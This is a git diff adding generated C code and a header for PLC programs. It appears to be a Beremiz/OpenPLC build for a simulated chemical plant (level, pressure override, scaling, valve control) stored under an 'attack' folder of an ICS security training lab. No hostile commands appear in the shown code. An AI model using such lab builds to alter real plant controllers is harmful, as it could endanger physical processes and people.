SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL 